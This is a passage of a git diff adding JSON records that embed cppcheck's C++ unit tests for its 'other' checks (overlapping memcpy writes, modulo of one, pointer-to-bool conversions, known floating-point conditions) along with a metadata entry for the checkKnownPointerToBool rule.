unusedVariableValueTemplate() {\n check(\"#include \\n\"\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class Hash\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" std::size_t operator()(const A& a) const\\n\"\n \" {\\n\"\n \" (void)a;\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" };\\n\"\n \"};\\n\"\n \"namespace std\\n\"\n \"{\\n\"\n \" template <>\\n\"\n \" struct hash\\n\"\n \" {\\n\"\n \" std::size_t operator()(const A& a) const noexcept\\n\"\n \" {\\n\"\n \" return A::Hash{}(a);\\n\"\n \" }\\n\"\n \" };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moduloOfOne() {\n check(\"void f(unsigned int x) {\\n\"\n \" int y = x % 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Modulo of one is always equal to zero [moduloofone]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" for (int x = 1; x < 10; x++) {\\n\"\n \" int y = 100 % x;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int i, int j) {\\n\" // #11191\n \" const int c = pow(2, i);\\n\"\n \" if (j % c) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void sameExpressionPointers() {\n check(\"int f(int *i);\\n\"\n \"void g(int *a, const int *b) {\\n\"\n \" int c = *a;\\n\"\n \" f(a);\\n\"\n \" if (b && c != *a) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkOverlappingWrite() {\n // union\n check(\"void foo() {\\n\"\n \" union { int i; float f; } u;\\n\"\n \" u.i = 0;\\n\"\n \" u.i = u.f;\\n\" // <- error\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Overlapping read/write of union is undefined behavior [overlappingWriteUnion]\\n\", errout_str());\n\n check(\"void foo() {\\n\" // #11013\n \" union { struct { uint8_t a; uint8_t b; }; uint16_t c; } u;\\n\"\n \" u.a = u.b = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // memcpy\n check(\"void foo() {\\n\"\n \" char a[10];\\n\"\n \" memcpy(&a[5], &a[4], 2u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" char a[10];\\n\"\n \" memcpy(a+5, a+4, 2u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" char a[10];\\n\"\n \" memcpy(a, a+1, 2u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" char a[8];\\n\"\n \" memcpy(&a[0], &a[4], 4u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"_Bool a[10];\\n\" // #10350\n \"void foo() {\\n\"\n \" memcpy(&a[5], &a[4], 2u * sizeof(a[0]));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n check(\"int K[2];\\n\" // #12638\n \"void f(int* p) {\\n\"\n \" memcpy(&K[0], &K[1], sizeof(K[0]));\\n\"\n \" memcpy(&K[1], &K[0], sizeof(K[0]));\\n\"\n \" memcpy(p, p + 1, sizeof(*p));\\n\"\n \" memcpy(p + 1, p, sizeof(*p));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int K[2];\\n\"\n \"void f(int* p) {\\n\"\n \" memcpy(&K[0], &K[1], 2 * sizeof(K[0]));\\n\"\n \" memcpy(&K[1], &K[0], 2 *sizeof(K[0]));\\n\"\n \" memcpy(p, p + 1, 2 * sizeof(*p));\\n\"\n \" memcpy(p + 1, p, 2 * sizeof(*p));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\"\n \"[test.cpp:4:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\"\n \"[test.cpp:5:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\"\n \"[test.cpp:6:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\",\n errout_str());\n\n // wmemcpy\n check(\"void foo() {\\n\"\n \" wchar_t a[10];\\n\"\n \" wmemcpy(&a[5], &a[4], 2u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in wmemcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" wchar_t a[10];\\n\"\n \" wmemcpy(a+5, a+4, 2u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in wmemcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" wchar_t a[10];\\n\"\n \" wmemcpy(a, a+1, 2u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in wmemcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n // strcpy\n check(\"void foo(char *ptr) {\\n\"\n \" strcpy(ptr, ptr);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (error) Overlapping read/write in strcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n }\n\n void constVariableArrayMember() { // #10371\n check(\"class Foo {\\n\"\n \"public:\\n\"\n \" Foo();\\n\"\n \" int GetVal() const { return m_Arr[0]; }\\n\"\n \" int m_Arr[1];\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void knownPointerToBool()\n {\n check(\"void g(bool);\\n\"\n \"void f() {\\n\"\n \" int i = 5;\\n\"\n \" int* p = &i;\\n\"\n \" g(p);\\n\"\n \" g(&i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: (style) Pointer expression 'p' converted to bool is always true. [knownPointerToBool]\\n\"\n \"[test.cpp:6:7]: (style) Pointer expression '&i' converted to bool is always true. [knownPointerToBool]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" const int* x = nullptr;\\n\"\n \" std::empty(x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" const int* x = nullptr;\\n\"\n \" std::empty(const_cast(x));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { bool x; };\\n\"\n \"bool f(A* a) {\\n\"\n \" if (a) {\\n\"\n \" return a->x;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { int* x; };\\n\"\n \"bool f(A a) {\\n\"\n \" if (a.x) {\\n\"\n \" return a.x;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:17]: (style) Pointer expression 'a.x' converted to bool is always true. [knownPointerToBool]\\n\", errout_str());\n\n check(\"void f(bool* b) { if (b) *b = true; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f() {\\n\"\n \" int* x = nullptr;\\n\"\n \" return bool(x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) Pointer expression 'x' converted to bool is always false. [knownPointerToBool]\\n\", errout_str());\n\n check(\"bool f() {\\n\"\n \" int* x = nullptr;\\n\"\n \" return bool{x};\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) Pointer expression 'x' converted to bool is always false. [knownPointerToBool]\\n\", errout_str());\n\n check(\"struct A { A(bool); };\\n\"\n \"A f() {\\n\"\n \" int* x = nullptr;\\n\"\n \" return A(x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: (style) Pointer expression 'x' converted to bool is always false. [knownPointerToBool]\\n\", errout_str());\n\n check(\"struct A { A(bool); };\\n\"\n \"A f() {\\n\"\n \" int* x = nullptr;\\n\"\n \" return A{x};\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: (style) Pointer expression 'x' converted to bool is always false. [knownPointerToBool]\\n\", errout_str());\n\n check(\"struct B { virtual void f() {} };\\n\" // #11929\n \"struct D : B {};\\n\"\n \"void g(B* b) {\\n\"\n \" if (!b)\\n\"\n \" return;\\n\"\n \" if (dynamic_cast(b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool (*ptr)();\\n\" // #12170\n \"void f() {\\n\"\n \" if (!ptr || !ptr()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(bool b[2]);\\n\" // #12822\n \"void f() {\\n\"\n \" bool b[2] = {};\\n\"\n \" g(b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterateByValue() {\n check(\"void f() {\\n\" // #9684\n \" const std::set ss = { \\\"a\\\", \\\"b\\\", \\\"c\\\" };\\n\"\n \" for (auto s : ss)\\n\"\n \" (void)s.size();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:15]: (performance) Range variable 's' should be declared as const reference. [iterateByValue]\\n\",\n errout_str());\n check(\"void f() {\\n\" // #13696\n \" struct T {\\n\"\n \" std::string name;\\n\"\n \" UnknownClass member;\\n\"\n \" };\\n\"\n \"\\n\"\n \" const std::set ss;\\n\"\n \" for (auto s : ss)\\n\"\n \" (void)s.name;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:8:15]: (performance) Range variable 's' should be declared as const reference. [iterateByValue]\\n\",\n errout_str());\n }\n\n void knownConditionFloating()\n {\n check(\"void foo() {\\n\" // #11200\n \" float f = 1.0;\\n\"\n \" if (f > 1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:16] -> [test.cpp:3:11]: (style) The comparison 'f > 1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float f = 1.0;\\n\"\n \" if (f > -1.0) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:2] -> [test.cpp:3]: (style) The comparison 'f > -1.0' is always false.\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13506\n \" float f = 1.0;\\n\"\n \" if (f > +1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:16] -> [test.cpp:3:11]: (style) The comparison 'f > +1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\"\n \" float f = 1.0;\\n\"\n \" if (f < +1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:16] -> [test.cpp:3:11]: (style) The comparison 'f < 1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #11200\n \" float pf = +1.0;\\n\"\n \" if (pf > 1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:18] -> [test.cpp:3:12]: (style) The comparison 'pf > 1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float pf = +1.0;\\n\"\n \" if (pf > -1.0) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:2] -> [test.cpp:3]: (style) The comparison 'pf > -1.0' is always false.\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13506\n \" float pf = +1.0;\\n\"\n \" if (pf > +1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:18] -> [test.cpp:3:12]: (style) The comparison 'pf > +1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\"\n \" float pf = +1.0;\\n\"\n \" if (pf < +1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:18] -> [test.cpp:3:12]: (style) The comparison 'pf < 1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #11200\n \" float nf = -1.0;\\n\"\n \" if (nf > -1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:18] -> [test.cpp:3:12]: (style) The comparison 'nf > -1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float nf = -1.0;\\n\"\n \" if (nf > 1.0) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:2] -> [test.cpp:3]: (style) The comparison 'nf > 1.0' is always false.\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float nf = -1.0;\\n\"\n \" if (nf > +1.0) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:2] -> [test.cpp:3]: (style) The comparison 'nf > +1.0' is always false.\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\"\n \" float f = 1.0f;\\n\"\n \" if (f > 1.00f) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:16] -> [test.cpp:3:11]: (style) The comparison 'f > 1.00f' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float f = 1.0f;\\n\"\n \" if (f > 1) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:2] -> [test.cpp:3]: (style) The comparison 'f > 1' is always false.\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\"\n \" float f = 1.0;\\n\"\n \" if (f > 1.00) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:16] -> [test.cpp:3:11]: (style) The comparison 'f > 1.00' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float f = 1.0;\\n\"\n \" if (f > 1) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:2] -> [test.cpp:3]: (style) The comparison 'f > 1' is always false.\\n\",\n \"\",\n errout_str());\n }\n\n void knownConditionPrefixed()\n {\n check(\"void foo() {\\n\"\n \" int i = 1;\\n\"\n \" if (i < +1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:13] -> [test.cpp:3:11]: (style) The comparison 'i < 1' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13506\n \" int i = 1;\\n\"\n \" if (i > +1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:13] -> [test.cpp:3:11]: (style) The comparison 'i > +1' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n }\n};\n\nREGISTER_TEST(TestOther)\n" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckOther/checkKnownPointerToBool.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckOther/checkKnownPointerToBool.json new file mode 100644 index 0000000..4de705c --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckOther/checkKnownPointerToBool.json @@ -0,0 +1,22 @@ +{ + "name": "checkKnownPointerToBool", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 28, + "branches": 13, + "apis": 31, + "test": [ + { + "description": null, + "expected-problems": 1, + "expected-linenumbers": [ + 12966 + ], + "code": "\n/*\n * Cppcheck - A tool for static C/C++ code analysis\n * Copyright (C) 2007-2025 Cppcheck team.\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program. If not, see .\n */\n\n#include \"checkother.h\"\n#include \"errortypes.h\"\n#include \"fixture.h\"\n#include \"helpers.h\"\n#include \"platform.h\"\n#include \"settings.h\"\n#include \"standards.h\"\n\n#include \n#include \n\nclass TestOther : public TestFixture {\npublic:\n TestOther() : TestFixture(\"TestOther\") {}\n\nprivate:\n /*const*/ Settings _settings = settingsBuilder().library(\"std.cfg\").build();\n\n void run() override {\n mNewTemplate = true;\n TEST_CASE(emptyBrackets);\n\n TEST_CASE(zeroDiv1);\n TEST_CASE(zeroDiv2);\n TEST_CASE(zeroDiv3);\n TEST_CASE(zeroDiv4);\n TEST_CASE(zeroDiv5);\n TEST_CASE(zeroDiv6);\n TEST_CASE(zeroDiv7); // #4930\n TEST_CASE(zeroDiv8);\n TEST_CASE(zeroDiv9);\n TEST_CASE(zeroDiv10);\n TEST_CASE(zeroDiv11);\n TEST_CASE(zeroDiv12);\n TEST_CASE(zeroDiv13);\n TEST_CASE(zeroDiv14); // #1169\n TEST_CASE(zeroDiv15); // #8319\n TEST_CASE(zeroDiv16); // #11158\n TEST_CASE(zeroDiv17); // #9931\n TEST_CASE(zeroDiv18);\n TEST_CASE(zeroDiv19);\n TEST_CASE(zeroDiv20); // #11175\n TEST_CASE(zeroDiv21);\n TEST_CASE(zeroDiv22);\n\n TEST_CASE(zeroDivCond); // division by zero / useless condition\n\n TEST_CASE(nanInArithmeticExpression);\n\n TEST_CASE(varScope1);\n TEST_CASE(varScope2);\n TEST_CASE(varScope3);\n TEST_CASE(varScope4);\n TEST_CASE(varScope5);\n TEST_CASE(varScope6);\n TEST_CASE(varScope7);\n TEST_CASE(varScope8);\n TEST_CASE(varScope9); // classes may have extra side-effects\n TEST_CASE(varScope10); // Undefined macro FOR\n TEST_CASE(varScope11); // #2475 - struct initialization is not inner scope\n TEST_CASE(varScope12);\n TEST_CASE(varScope13); // variable usage in inner loop\n TEST_CASE(varScope14);\n TEST_CASE(varScope15); // #4573 if-else-if\n TEST_CASE(varScope16);\n TEST_CASE(varScope17);\n TEST_CASE(varScope18);\n TEST_CASE(varScope20); // Ticket #5103\n TEST_CASE(varScope21); // Ticket #5382\n TEST_CASE(varScope22); // Ticket #5684\n TEST_CASE(varScope23); // Ticket #6154\n TEST_CASE(varScope24); // pointer / reference\n TEST_CASE(varScope25); // time_t\n TEST_CASE(varScope26); // range for loop, map\n TEST_CASE(varScope27); // #7733 - #if\n TEST_CASE(varScope28); // #10527\n TEST_CASE(varScope29); // #10888\n TEST_CASE(varScope30); // #8541\n TEST_CASE(varScope31); // #11099\n TEST_CASE(varScope32); // #11441\n TEST_CASE(varScope33);\n TEST_CASE(varScope34);\n TEST_CASE(varScope35);\n TEST_CASE(varScope36); // #12158\n TEST_CASE(varScope37); // #12158\n TEST_CASE(varScope38);\n TEST_CASE(varScope39);\n TEST_CASE(varScope40);\n TEST_CASE(varScope41); // #11845\n TEST_CASE(varScope42);\n TEST_CASE(varScope43);\n\n TEST_CASE(oldStylePointerCast);\n TEST_CASE(intToPointerCast);\n TEST_CASE(invalidPointerCast);\n\n TEST_CASE(passedByValue);\n TEST_CASE(passedByValue_nonConst);\n TEST_CASE(passedByValue_externC);\n\n TEST_CASE(constVariable);\n TEST_CASE(constParameterCallback);\n TEST_CASE(constPointer);\n TEST_CASE(constArray);\n\n TEST_CASE(switchRedundantAssignmentTest);\n TEST_CASE(switchRedundantOperationTest);\n TEST_CASE(switchRedundantBitwiseOperationTest);\n TEST_CASE(unreachableCode);\n TEST_CASE(redundantContinue);\n\n TEST_CASE(suspiciousCase);\n TEST_CASE(suspiciousEqualityComparison);\n TEST_CASE(suspiciousUnaryPlusMinus); // #8004\n TEST_CASE(suspiciousFloatingPointCast);\n\n TEST_CASE(selfAssignment);\n TEST_CASE(trac1132);\n TEST_CASE(testMisusedScopeObjectDoesNotPickFunction1);\n TEST_CASE(testMisusedScopeObjectDoesNotPickFunction2);\n TEST_CASE(testMisusedScopeObjectPicksClass);\n TEST_CASE(testMisusedScopeObjectPicksStruct);\n TEST_CASE(testMisusedScopeObjectDoesNotPickIf);\n TEST_CASE(testMisusedScopeObjectDoesNotPickConstructorDeclaration);\n TEST_CASE(testMisusedScopeObjectDoesNotPickFunctor);\n TEST_CASE(testMisusedScopeObjectDoesNotPickLocalClassConstructors);\n TEST_CASE(testMisusedScopeObjectDoesNotPickUsedObject);\n TEST_CASE(testMisusedScopeObjectDoesNotPickPureC);\n TEST_CASE(testMisusedScopeObjectDoesNotPickNestedClass);\n TEST_CASE(testMisusedScopeObjectInConstructor);\n TEST_CASE(testMisusedScopeObjectStandardType);\n TEST_CASE(testMisusedScopeObjectNamespace);\n TEST_CASE(testMisusedScopeObjectAssignment); // #11371\n TEST_CASE(trac2071);\n TEST_CASE(trac2084);\n TEST_CASE(trac3693);\n\n TEST_CASE(clarifyCalculation);\n TEST_CASE(clarifyStatement);\n\n TEST_CASE(duplicateBranch);\n TEST_CASE(duplicateBranch1); // tests extracted by http://www.viva64.com/en/b/0149/ ( Comparison between PVS-Studio and cppcheck ): Errors detected in Quake 3: Arena by PVS-Studio: Fragment 2\n TEST_CASE(duplicateBranch2); // empty macro\n TEST_CASE(duplicateBranch3);\n TEST_CASE(duplicateBranch4);\n TEST_CASE(duplicateBranch5); // make sure the Token attributes are compared\n TEST_CASE(duplicateBranch6);\n TEST_CASE(duplicateExpression1);\n TEST_CASE(duplicateExpression2); // ticket #2730\n TEST_CASE(duplicateExpression3); // ticket #3317\n TEST_CASE(duplicateExpression4); // ticket #3354 (++)\n TEST_CASE(duplicateExpression5); // ticket #3749 (macros with same values)\n TEST_CASE(duplicateExpression6); // ticket #4639\n TEST_CASE(duplicateExpression7);\n TEST_CASE(duplicateExpression8);\n TEST_CASE(duplicateExpression9); // #9320\n TEST_CASE(duplicateExpression10); // #9485\n TEST_CASE(duplicateExpression11); // #8916 (function call)\n TEST_CASE(duplicateExpression12); // #10026\n TEST_CASE(duplicateExpression13); // #7899\n TEST_CASE(duplicateExpression14); // #9871\n TEST_CASE(duplicateExpression15); // #10650\n TEST_CASE(duplicateExpression16); // #10569\n TEST_CASE(duplicateExpression17); // #12036\n TEST_CASE(duplicateExpression18);\n TEST_CASE(duplicateExpressionLoop);\n TEST_CASE(duplicateValueTernary);\n TEST_CASE(duplicateExpressionTernary); // #6391\n TEST_CASE(duplicateExpressionTemplate); // #6930\n TEST_CASE(duplicateExpressionCompareWithZero);\n TEST_CASE(oppositeExpression);\n TEST_CASE(duplicateVarExpression);\n TEST_CASE(duplicateVarExpressionUnique);\n TEST_CASE(duplicateVarExpressionAssign);\n TEST_CASE(duplicateVarExpressionCrash);\n TEST_CASE(multiConditionSameExpression);\n\n TEST_CASE(checkSignOfUnsignedVariable);\n TEST_CASE(checkSignOfPointer);\n\n TEST_CASE(checkSuspiciousSemicolon1);\n TEST_CASE(checkSuspiciousSemicolon2);\n TEST_CASE(checkSuspiciousSemicolon3);\n TEST_CASE(checkSuspiciousComparison);\n\n TEST_CASE(checkInvalidFree);\n\n TEST_CASE(checkRedundantCopy);\n\n TEST_CASE(checkNegativeShift);\n\n TEST_CASE(incompleteArrayFill);\n\n TEST_CASE(redundantVarAssignment);\n TEST_CASE(redundantVarAssignment_trivial);\n TEST_CASE(redundantVarAssignment_struct);\n TEST_CASE(redundantVarAssignment_union);\n TEST_CASE(redundantVarAssignment_7133);\n TEST_CASE(redundantVarAssignment_stackoverflow);\n TEST_CASE(redundantVarAssignment_lambda);\n TEST_CASE(redundantVarAssignment_loop);\n TEST_CASE(redundantVarAssignment_after_switch);\n TEST_CASE(redundantVarAssignment_pointer);\n TEST_CASE(redundantVarAssignment_pointer_parameter);\n TEST_CASE(redundantVarAssignment_array);\n TEST_CASE(redundantVarAssignment_switch_break);\n TEST_CASE(redundantInitialization);\n //TEST_CASE(redundantMemWrite); // FIXME: temporary hack\n TEST_CASE(redundantAssignmentSameValue);\n\n TEST_CASE(varFuncNullUB);\n\n TEST_CASE(checkCastIntToCharAndBack); // ticket #160\n\n TEST_CASE(checkCommaSeparatedReturn);\n TEST_CASE(checkPassByReference);\n\n TEST_CASE(checkComparisonFunctionIsAlwaysTrueOrFalse);\n\n TEST_CASE(integerOverflow); // #5895\n\n TEST_CASE(redundantPointerOp);\n TEST_CASE(test_isSameExpression);\n TEST_CASE(raceAfterInterlockedDecrement);\n\n TEST_CASE(testUnusedLabel);\n\n TEST_CASE(testEvaluationOrder);\n TEST_CASE(testEvaluationOrderSelfAssignment);\n TEST_CASE(testEvaluationOrderMacro);\n TEST_CASE(testEvaluationOrderSequencePointsFunctionCall);\n TEST_CASE(testEvaluationOrderSequencePointsComma);\n TEST_CASE(testEvaluationOrderSizeof);\n\n TEST_CASE(testUnsignedLessThanZero);\n\n TEST_CASE(doubleMove1);\n TEST_CASE(doubleMoveMemberInitialization1);\n TEST_CASE(doubleMoveMemberInitialization2);\n TEST_CASE(doubleMoveMemberInitialization3); // #9974\n TEST_CASE(doubleMoveMemberInitialization4);\n TEST_CASE(moveAndAssign1);\n TEST_CASE(moveAndAssign2);\n TEST_CASE(moveAssignMoveAssign);\n TEST_CASE(moveAndReset1);\n TEST_CASE(moveAndReset2);\n TEST_CASE(moveResetMoveReset);\n TEST_CASE(moveAndFunctionParameter);\n TEST_CASE(moveAndFunctionParameterReference);\n TEST_CASE(moveAndFunctionParameterConstReference);\n TEST_CASE(moveAndFunctionParameterUnknown);\n TEST_CASE(moveAndReturn);\n TEST_CASE(moveAndClear);\n TEST_CASE(movedPointer);\n TEST_CASE(moveAndAddressOf);\n TEST_CASE(partiallyMoved);\n TEST_CASE(moveAndLambda);\n TEST_CASE(moveInLoop);\n TEST_CASE(moveCallback);\n TEST_CASE(moveClassVariable);\n TEST_CASE(forwardAndUsed);\n TEST_CASE(moveAndReference);\n TEST_CASE(moveForRange);\n TEST_CASE(moveTernary);\n TEST_CASE(movePointerAlias);\n\n TEST_CASE(funcArgNamesDifferent);\n TEST_CASE(funcArgOrderDifferent);\n TEST_CASE(cpp11FunctionArgInit); // #7846 - \"void foo(int declaration = {}) {\"\n\n TEST_CASE(shadowVariables);\n TEST_CASE(knownArgument);\n TEST_CASE(knownArgumentHiddenVariableExpression);\n TEST_CASE(knownArgumentTernaryOperator);\n TEST_CASE(checkComparePointers);\n\n TEST_CASE(unusedVariableValueTemplate); // #8994\n\n TEST_CASE(moduloOfOne);\n\n TEST_CASE(sameExpressionPointers);\n\n TEST_CASE(checkOverlappingWrite);\n\n TEST_CASE(constVariableArrayMember); // #10371\n\n TEST_CASE(knownPointerToBool);\n TEST_CASE(iterateByValue);\n\n TEST_CASE(knownConditionFloating);\n TEST_CASE(knownConditionPrefixed);\n }\n\n#define check(...) check_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void check_(const char* file, int line, const char (&code)[size], bool cpp = true, bool inconclusive = true, bool runSimpleChecks=true, bool verbose=false, Settings* settings = nullptr) {\n if (!settings) {\n settings = &_settings;\n }\n settings->severity.enable(Severity::style);\n settings->severity.enable(Severity::warning);\n settings->severity.enable(Severity::portability);\n settings->severity.enable(Severity::performance);\n settings->standards.c = Standards::CLatest;\n settings->standards.cpp = Standards::CPPLatest;\n settings->certainty.setEnabled(Certainty::inconclusive, inconclusive);\n settings->verbose = verbose;\n\n // Tokenize..\n SimpleTokenizer tokenizer(*settings, *this, cpp);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n runChecks(tokenizer, this);\n\n (void)runSimpleChecks; // TODO Remove this\n }\n\n template\n void check_(const char* file, int line, const char (&code)[size], Settings *s) {\n check_(file, line, code, true, true, true, false, s);\n }\n\n struct CheckPOptions\n {\n CheckPOptions() = default;\n bool cpp = true;\n };\n\n#define checkP(...) checkP_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkP_(const char* file, int line, const char (&code)[size], const CheckPOptions& options = make_default_obj()) {\n Settings* settings = &_settings;\n settings->severity.enable(Severity::style);\n settings->severity.enable(Severity::warning);\n settings->severity.enable(Severity::portability);\n settings->severity.enable(Severity::performance);\n settings->standards.c = Standards::CLatest;\n settings->standards.cpp = Standards::CPPLatest;\n settings->certainty.enable(Certainty::inconclusive);\n\n SimpleTokenizer2 tokenizer(*settings, *this, code, options.cpp ? \"test.cpp\" : \"test.c\");\n\n // Tokenizer..\n ASSERT_LOC(tokenizer.simplifyTokens1(\"\"), file, line);\n\n // Check..\n runChecks(tokenizer, this);\n }\n\n template\n void checkInterlockedDecrement(const char (&code)[size]) {\n /*const*/ Settings settings = settingsBuilder().platform(Platform::Type::Win32A).build();\n\n check(code, true, false, true, false, &settings);\n }\n\n void emptyBrackets() {\n check(\"{\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n void zeroDiv1() { // floating point division by zero => no error\n check(\"void foo() {\\n\"\n \" cout << 1. / 0;\\n\"\n 